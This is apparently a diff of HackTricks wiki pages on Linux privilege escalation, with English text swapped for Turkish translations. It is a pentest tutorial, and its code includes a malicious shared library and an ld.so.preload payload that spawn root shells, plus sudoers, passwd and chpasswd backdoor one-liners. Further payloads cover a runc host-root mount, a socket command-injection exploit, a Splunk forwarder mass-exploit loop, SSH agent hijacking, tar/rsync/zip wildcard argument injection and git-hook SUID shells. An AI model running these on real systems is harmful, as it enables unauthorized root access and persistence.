- _/etc/sudoers_ dosyasına kullanıcı ekleyin
|
||||
- Genellikle _/run/docker.sock_ veya _/var/run/docker.sock_ içinde bulunan docker soketini kötüye kullanın
|
||||
|
||||
- Add user with password to _/etc/passwd_
|
||||
- Change password inside _/etc/shadow_
|
||||
- Add user to sudoers in _/etc/sudoers_
|
||||
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
|
||||
|
||||
### Overwriting a library
|
||||
|
||||
Check a library used by some binary, in this case `/bin/su`:
|
||||
### Bir Kütüphaneyi Üzerine Yazma
|
||||
|
||||
Bazı ikili dosyalar tarafından kullanılan bir kütüphaneyi kontrol edin, bu durumda `/bin/su`:
|
||||
```bash
|
||||
ldd /bin/su
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
|
||||
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
|
||||
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
|
||||
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
||||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
|
||||
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
|
||||
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
|
||||
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
||||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
```
|
||||
|
||||
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
|
||||
So, check for functions of this library used by the **`su`** binary:
|
||||
|
||||
Bu durumda `/lib/x86_64-linux-gnu/libaudit.so.1` dosyasını taklit etmeye çalışalım.\
|
||||
Bu kütüphanenin **`su`** ikili dosyası tarafından kullanılan fonksiyonlarını kontrol edin:
|
||||
```bash
|
||||
objdump -T /bin/su | grep audit
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_open
|
||||
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
||||
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
||||
```
|
||||
|
||||
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
|
||||
|
||||
Semboller `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` ve `audit_fd` muhtemelen libaudit.so.1 kütüphanesindendir. libaudit.so.1 kötü niyetli paylaşılan kütüphane tarafından üzerine yazılacağından, bu semboller yeni paylaşılan kütüphanede mevcut olmalıdır, aksi takdirde program sembolü bulamayacak ve çıkacaktır.
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
|
||||
|
||||
void inject()
|
||||
{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/bash");
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Şimdi sadece **`/bin/su`** çağırarak root olarak bir shell elde edebilirsiniz.
|
||||
|
||||
Now, just calling **`/bin/su`** you will obtain a shell as root.
|
||||
## Scriptler
|
||||
|
||||
## Scripts
|
||||
|
||||
Can you make root execute something?
|
||||
|
||||
### **www-data to sudoers**
|
||||
Root'un bir şey çalıştırmasını sağlayabilir misiniz?
|
||||
|
||||
### **www-data sudoers'a**
|
||||
```bash
|
||||
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
||||
```
|
||||
|
||||
### **Change root password**
|
||||
|
||||
### **Root şifresini değiştir**
|
||||
```bash
|
||||
echo "root:hacked" | chpasswd
|
||||
```
|
||||
|
||||
### Add new root user to /etc/passwd
|
||||
|
||||
### Yeni root kullanıcısı ekle /etc/passwd
|
||||
```bash
|
||||
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,33 +1,32 @@
|
||||
# RunC Privilege Escalation
|
||||
# RunC Yetki Yükseltme
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic information
|
||||
## Temel bilgiler
|
||||
|
||||
If you want to learn more about **runc** check the following page:
|
||||
Eğer **runc** hakkında daha fazla bilgi edinmek istiyorsanız, aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/2375-pentesting-docker.md
|
||||
{{#endref}}
|
||||
|
||||
## PE
|
||||
|
||||
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
|
||||
## YY
|
||||
|
||||
Eğer `runc`'ın hostta kurulu olduğunu bulursanız, **hostun kök / klasörünü monte eden bir konteyner çalıştırabilirsiniz**.
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
||||
Inside the "mounts" section of the create config.json add the following lines:
|
||||
{
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
},
|
||||
|
||||
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||||
@ -37,8 +36,7 @@ mkdir rootfs
|
||||
# The root folder is the one from the host
|
||||
runc run demo
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
|
||||
> Bu her zaman çalışmayacaktır çünkü runc'ın varsayılan işlemi root olarak çalışmaktır, bu nedenle onu yetkisiz bir kullanıcı olarak çalıştırmak basitçe mümkün olamaz (rootless bir yapılandırmanız yoksa). Rootless bir yapılandırmayı varsayılan yapmak genellikle iyi bir fikir değildir çünkü rootless konteynerler içinde, rootless konteynerler dışında geçerli olmayan birçok kısıtlama vardır.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# SELinux in Containers
|
||||
# Konteynerlerde SELinux
|
||||
|
||||
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
[Redhat belgelerinden giriş ve örnek](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
|
||||
|
||||
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) bir **etiketleme** **sistemidir**. Her **işlem** ve her **dosya** sistemi nesnesinin bir **etiketi** vardır. SELinux politikaları, bir **işlem etiketinin sistemdeki diğer etiketlerle ne yapabileceğine dair kurallar tanımlar**.
|
||||
|
||||
Konteyner motorları, genellikle `container_t` olan **tek bir sınırlı SELinux etiketiyle konteyner işlemleri başlatır** ve ardından konteynerin içindeki dosyaların `container_file_t` olarak etiketlenmesini sağlar. SELinux politika kuralları, **`container_t` işlemlerinin yalnızca `container_file_t` olarak etiketlenmiş dosyaları okuyup/yazabileceğini/çalıştırabileceğini** belirtir. Eğer bir konteyner işlemi konteynerden kaçarsa ve ana makinedeki içeriğe yazmaya çalışırsa, Linux çekirdeği erişimi reddeder ve yalnızca konteyner işleminin `container_file_t` olarak etiketlenmiş içeriğe yazmasına izin verir.
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
@ -15,9 +14,8 @@ $ podman top -l label
|
||||
LABEL
|
||||
system_u:system_r:container_t:s0:c647,c780
|
||||
```
|
||||
# SELinux Kullanıcıları
|
||||
|
||||
# SELinux Users
|
||||
|
||||
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
|
||||
Normal Linux kullanıcılarına ek olarak SELinux kullanıcıları da vardır. SELinux kullanıcıları bir SELinux politikasının parçasıdır. Her Linux kullanıcısı, politikanın bir parçası olarak bir SELinux kullanıcısına eşlenir. Bu, Linux kullanıcılarının SELinux kullanıcılarına uygulanan kısıtlamaları ve güvenlik kurallarını ve mekanizmalarını miras almasını sağlar.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,8 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Socket binding example with Python
|
||||
|
||||
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
|
||||
## Python ile Socket Bağlama Örneği
|
||||
|
||||
Aşağıdaki örnekte bir **unix socket oluşturuluyor** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacak**. Bunun doğada bulunmayacağını biliyorum, ancak bu örneğin amacı, unix socket'leri kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğimizi görmektir.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -11,34 +10,29 @@ import time
|
||||
from collections import deque
|
||||
|
||||
if os.path.exists("/tmp/socket_test.s"):
|
||||
os.remove("/tmp/socket_test.s")
|
||||
os.remove("/tmp/socket_test.s")
|
||||
|
||||
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
server.bind("/tmp/socket_test.s")
|
||||
os.system("chmod o+w /tmp/socket_test.s")
|
||||
while True:
|
||||
server.listen(1)
|
||||
conn, addr = server.accept()
|
||||
datagram = conn.recv(1024)
|
||||
if datagram:
|
||||
print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
server.listen(1)
|
||||
conn, addr = server.accept()
|
||||
datagram = conn.recv(1024)
|
||||
if datagram:
|
||||
print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
|
||||
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
|
||||
|
||||
**Kodu** python ile çalıştırın: `python s.py` ve **socket'in nasıl dinlediğini kontrol edin**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
|
||||
**Exploit**
|
||||
|
||||
**Sömürü**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,52 +1,50 @@
|
||||
# Splunk LPE and Persistence
|
||||
# Splunk LPE ve Süreklilik
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
|
||||
Eğer bir makineyi **içten** veya **dıştan** **numaralandırıyorsanız** ve **Splunk çalışıyorsa** (port 8090), şanslıysanız herhangi bir **geçerli kimlik bilgisi** biliyorsanız, **Splunk hizmetini kötüye kullanarak** Splunk'ı çalıştıran kullanıcı olarak **bir shell** çalıştırabilirsiniz. Eğer root çalışıyorsa, yetkileri root'a yükseltebilirsiniz.
|
||||
|
||||
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
|
||||
Ayrıca eğer **zaten root iseniz ve Splunk hizmeti yalnızca localhost'ta dinlemiyorsa**, Splunk hizmetinden **şifre** dosyasını **çalıp** şifreleri **kırabilir** veya **yeni** kimlik bilgileri ekleyebilirsiniz. Ve host üzerinde sürekliliği sürdürebilirsiniz.
|
||||
|
||||
In the first image below you can see how a Splunkd web page looks like.
|
||||
Aşağıdaki ilk resimde bir Splunkd web sayfasının nasıl göründüğünü görebilirsiniz.
|
||||
|
||||
## Splunk Universal Forwarder Agent Exploit Summary
|
||||
## Splunk Universal Forwarder Agent İstismar Özeti
|
||||
|
||||
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
|
||||
Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisini kontrol edin. Bu sadece bir özet:
|
||||
|
||||
**Exploit Overview:**
|
||||
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
|
||||
**İstismar Genel Görünümü:**
|
||||
Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine sahip saldırganların ajanı çalıştıran sistemlerde rastgele kod çalıştırmasına olanak tanır ve potansiyel olarak tüm bir ağı tehlikeye atabilir.
|
||||
|
||||
**Key Points:**
|
||||
**Ana Noktalar:**
|
||||
|
||||
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
|
||||
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
|
||||
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
|
||||
- UF ajanı gelen bağlantıları veya kodun doğruluğunu doğrulamaz, bu da yetkisiz kod çalıştırmaya karşı savunmasız hale getirir.
|
||||
- Yaygın şifre edinme yöntemleri, bunları ağ dizinlerinde, dosya paylaşımlarında veya iç belgelerde bulmayı içerir.
|
||||
- Başarılı bir istismar, tehlikeye atılan hostlarda SYSTEM veya root düzeyinde erişim, veri sızdırma ve daha fazla ağ sızması ile sonuçlanabilir.
|
||||
|
||||
**Exploit Execution:**
|
||||
**İstismar Uygulaması:**
|
||||
|
||||
1. Attacker obtains the UF agent password.
|
||||
2. Utilizes the Splunk API to send commands or scripts to the agents.
|
||||
3. Possible actions include file extraction, user account manipulation, and system compromise.
|
||||
1. Saldırgan UF ajan şifresini elde eder.
|
||||
2. Ajanlara komutlar veya betikler göndermek için Splunk API'sini kullanır.
|
||||
3. Olası eylemler arasında dosya çıkarma, kullanıcı hesabı manipülasyonu ve sistemin tehlikeye atılması yer alır.
|
||||
|
||||
**Impact:**
|
||||
**Etkisi:**
|
||||
|
||||
- Full network compromise with SYSTEM/root level permissions on each host.
|
||||
- Potential for disabling logging to evade detection.
|
||||
- Installation of backdoors or ransomware.
|
||||
|
||||
**Example Command for Exploitation:**
|
||||
- Her hostta SYSTEM/root düzeyinde izinlerle tam ağ tehlikesi.
|
||||
- Tespiti önlemek için günlük kaydını devre dışı bırakma potansiyeli.
|
||||
- Arka kapılar veya fidye yazılımlarının kurulumu.
|
||||
|
||||
**İstismar için Örnek Komut:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
|
||||
**Usable public exploits:**
|
||||
**Kullanılabilir kamuya açık exploitler:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
|
||||
## Abusing Splunk Queries
|
||||
## Splunk Sorgularını Kötüye Kullanma
|
||||
|
||||
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
**Daha fazla detay için [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) gönderisini kontrol edin**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,30 +1,26 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Summary
|
||||
|
||||
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
|
||||
# Özet
|
||||
|
||||
Eğer `/etc/ssh_config` veya `$HOME/.ssh/config` içinde bu yapılandırmayı keşfettiyseniz ne yapabilirsiniz:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
Eğer makinenin kök kullanıcıysanız, muhtemelen _/tmp_ dizininde bulabileceğiniz herhangi bir ajanın yaptığı **herhangi bir ssh bağlantısına erişebilirsiniz**.
|
||||
|
||||
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
|
||||
|
||||
Impersonate Bob using one of Bob's ssh-agent:
|
||||
|
||||
Bob'un ssh-agent'ını kullanarak Bob'u taklit et:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## Neden bu işe yarıyor?
|
||||
|
||||
## Why does this work?
|
||||
`SSH_AUTH_SOCK` değişkenini ayarladığınızda, Bob'un ssh bağlantısında kullanılan anahtarlarına erişiyorsunuz. Ardından, eğer özel anahtarı hala oradaysa (normalde orada olacaktır), onu kullanarak herhangi bir hosta erişebilirsiniz.
|
||||
|
||||
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
|
||||
Özel anahtar, ajanın belleğinde şifrelenmemiş olarak saklandığı için, eğer siz Bob iseniz ama özel anahtarın şifresini bilmiyorsanız, yine de ajana erişip onu kullanabilirsiniz.
|
||||
|
||||
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
|
||||
Başka bir seçenek, ajanın sahibi olan kullanıcının ve root'un ajanın belleğine erişip özel anahtarı çıkarması olabilir.
|
||||
|
||||
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
|
||||
# Uzun açıklama ve istismar
|
||||
|
||||
# Long explanation and exploitation
|
||||
|
||||
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
**[orijinal araştırmayı buradan kontrol edin](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,71 +2,59 @@
|
||||
|
||||
## chown, chmod
|
||||
|
||||
You can **indicate which file owner and permissions you want to copy for the rest of the files**
|
||||
|
||||
**Diğer dosyalar için hangi dosya sahibi ve izinlerini kopyalamak istediğinizi belirtebilirsiniz.**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) kullanılarak istismar edilebilir _(birleşik saldırı)_\
|
||||
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
**Execute arbitrary commands:**
|
||||
|
||||
**Rasgele komutlar çalıştır:**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar saldırısı)_ kullanılarak istismar edilebilir.\
|
||||
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**Execute arbitrary commands:**
|
||||
|
||||
**Rasgele komutlar çalıştırın:**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
```
|
||||
|
||||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_ kullanılarak istismar edilebilir.\
|
||||
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
|
||||
|
||||
**7z** içinde `--` kullanarak `*`'dan önce (not: `--` sonraki girdinin parametre olarak işlenemeyeceği anlamına gelir, bu durumda sadece dosya yolları) rastgele bir hatanın bir dosyayı okumasına neden olabilirsiniz, bu nedenle aşağıdaki gibi bir komut root tarafından çalıştırılıyorsa:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
|
||||
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
|
||||
|
||||
Ve bu işlemin gerçekleştirildiği klasörde dosyalar oluşturabilirsiniz, `@root.txt` dosyasını ve okumak istediğiniz dosyaya **symlink** olan `root.txt` dosyasını oluşturabilirsiniz:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
Sonra, **7z** çalıştırıldığında, `root.txt` dosyasını sıkıştırması gereken dosyaların listesini içeren bir dosya olarak ele alacaktır (bu, `@root.txt` varlığının gösterdiği şeydir) ve 7z `root.txt` okuduğunda `/file/you/want/to/read` dosyasını okuyacak ve **bu dosyanın içeriği bir dosya listesi olmadığından, bir hata verecektir** içeriği göstererek.
|
||||
|
||||
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
|
||||
|
||||
_More info in Write-ups of the box CTF from HackTheBox._
|
||||
_Daha fazla bilgi için HackTheBox'tan CTF kutusunun Yazılımlarında._
|
||||
|
||||
## Zip
|
||||
|
||||
**Execute arbitrary commands:**
|
||||
|
||||
**Rasgele komutlar çalıştır:**
|
||||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,50 +1,46 @@
|
||||
# Arbitrary File Write to Root
|
||||
# Root'a Rastgele Dosya Yazma
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
|
||||
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
|
||||
|
||||
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
Bu dosya **`LD_PRELOAD`** ortam değişkeni gibi davranır ama aynı zamanda **SUID ikili dosyalarında** da çalışır.\
|
||||
Eğer bunu oluşturabiliyorsanız veya değiştirebiliyorsanız, her çalıştırılan ikili dosya ile yüklenecek bir **kütüphane yolu ekleyebilirsiniz**.
|
||||
|
||||
Örneğin: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unlink("/etc/ld.so.preload");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
unlink("/etc/ld.so.preload");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
//cd /tmp
|
||||
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
|
||||
### Git hooks
|
||||
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
|
||||
|
||||
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), çeşitli **olaylar** sırasında bir git deposunda **çalıştırılan** **betiklerdir**; örneğin bir commit oluşturulduğunda, bir merge... Yani eğer bir **ayrılmış betik veya kullanıcı** bu işlemleri sıkça gerçekleştiriyorsa ve **`.git` klasörüne yazma** imkanı varsa, bu **privesc** için kullanılabilir.
|
||||
|
||||
Örneğin, bir git deposunda **`.git/hooks`** içinde her yeni commit oluşturulduğunda her zaman çalıştırılacak bir **betik** **oluşturmak** mümkündür:
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
|
||||
### Cron & Time files
|
||||
### Cron & Time dosyaları
|
||||
|
||||
TODO
|
||||
|
||||
### Service & Socket files
|
||||
### Service & Socket dosyaları
|
||||
|
||||
TODO
|
||||
|
||||
### binfmt_misc
|
||||
|
||||
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
|
||||
`/proc/sys/fs/binfmt_misc` konumundaki dosya, hangi ikili dosyanın hangi tür dosyaları çalıştırması gerektiğini gösterir. TODO: yaygın bir dosya türü açıldığında bir rev shell çalıştırmak için bunu kötüye kullanma gereksinimlerini kontrol et.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,17 +1,9 @@
|
||||
# Useful Linux Commands
|
||||
# Kullanışlı Linux Komutları
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Common Bash
|
||||
|
||||
## Yaygın Bash
|
